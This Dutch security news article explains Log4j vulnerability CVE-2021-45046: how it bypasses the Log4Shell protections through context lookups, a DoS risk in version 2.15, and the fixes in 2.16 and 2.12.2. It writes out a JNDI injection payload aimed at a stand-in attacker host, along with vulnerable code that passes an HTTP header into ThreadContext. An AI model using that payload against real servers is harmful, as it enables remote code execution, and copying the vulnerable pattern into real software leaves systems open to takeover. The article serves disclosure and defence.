In de implementatie van JNDI-substituten in de Log4j 2-bibliotheek is een andere kwetsbaarheid ontdekt (CVE-2021-45046), die zich manifesteert ondanks de in versie 2.15 aangebrachte correcties en onafhankelijk van het gebruik van de instelling 'log4j2.noFormatMsgLookup' ter beveiliging. Dit probleem vormt vooral een gevaar voor oudere versies van Log4j 2, die worden beschermd met de vlag 'noFormatMsgLookup', omdat het mogelijk maakt om de bescherming tegen de eerder ontdekte kwetsbaarheid (Log4Shell, CVE-2021-44228) te omzeilen, waardoor het mogelijk is om eigen code op de server uit te voeren. Voor gebruikers van versie 2.15 is de exploitatie beperkt tot het creƫren van omstandigheden voor een noodstop van de applicatie door het uitputten van beschikbare bronnen.
De kwetsbaarheid doet zich alleen voor op systemen waarbij contextuele zoekopdrachten (Context Lookup) worden gebruikt bij het loggen, zoals ${ctx:loginId}, of MDC-sjablonen (Thread Context Map), bijvoorbeeld %X, %mdc en %MDC. De exploitatie is gericht op het creƫren van voorwaarden voor het loggen van gegevens die JNDI-substituten bevatten, bij gebruik van contextuele zoekopdrachten of MDC-sjablonen die de regels voor de loguitvoerformattering bepalen.
Onderzoekers van LunaSec hebben opgemerkt dat voor versies van Log4j lager dan 2.15 deze kwetsbaarheid kan worden gebruikt als een nieuwe aanvalsvector voor Log4Shell, wat leidt tot het uitvoeren van code, als er bij het loggen gebruik wordt gemaakt van ThreadContext-expressies, waarin externe gegevens komen, ongeacht of de vlag 'noMsgFormatLookups' of het sjabloon '%m{nolookups}' is ingeschakeld ter bescherming.
Omzeiling van de bescherming betekent dat in plaats van directe invoer van "${jndi:ldap://attacker.com/a}", deze uitdrukking wordt ingevoerd via een tussenliggende variabele die wordt gebruikt in de opmaakregels voor logoutput. Bijvoorbeeld, als bij het loggen de contextvraag ${ctx:apiversion} wordt gebruikt, kan de aanval worden uitgevoerd door de data "${jndi:ldap://attacker.com/a}" in de waarde die aan de variabele apiversion is toegewezen. Voorbeeld van kwetsbare code: appender.console.layout.pattern = ${ctx:apiversion} ā %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L ā %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // De waarde van de HTTP-header "X-Api-Version" wordt doorgegeven aan de ThreadContext ThreadContext.put("apiversion", apiVersion); // Bij logoutput zal de externe waarde apiversion worden verwerkt met behulp van de invoer ${ctx:apiversion} logger.info("Ontvangen verzoek voor API-versie"); return "Hallo, wereld!"; }
In versie Log4j 2.15 kan de kwetsbaarheid worden gebruikt voor DoS-aanvallen door waarden die leiden tot een eindeloze lus in de ThreadContext door te geven tijdens de opmaak van de output.
Om de kwetsbaarheid te blokkeren zijn de updates 2.16 en 2.12.2 uitgebracht. In de tak Log4j 2.16 is, naast de correcties in versie 2.15 en het binden van JNDI LDAP-requests aan "localhost", de functionaliteit van JNDI standaard volledig uitgeschakeld en is de ondersteuning voor berichtinvoersjablonen verwijderd. Als een workaround is het aanbevolen om de klasse JndiLookup uit de classpath te verwijderen (bijvoorbeeld, "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class").
Updates in pakketten kunnen worden gevolgd op de pagina's van distributies (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) en van Java-platformleveranciers (GitHub, Docker, Oracle, vmWare, Broadcom en Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, enz.).
Bron: opennet.ru
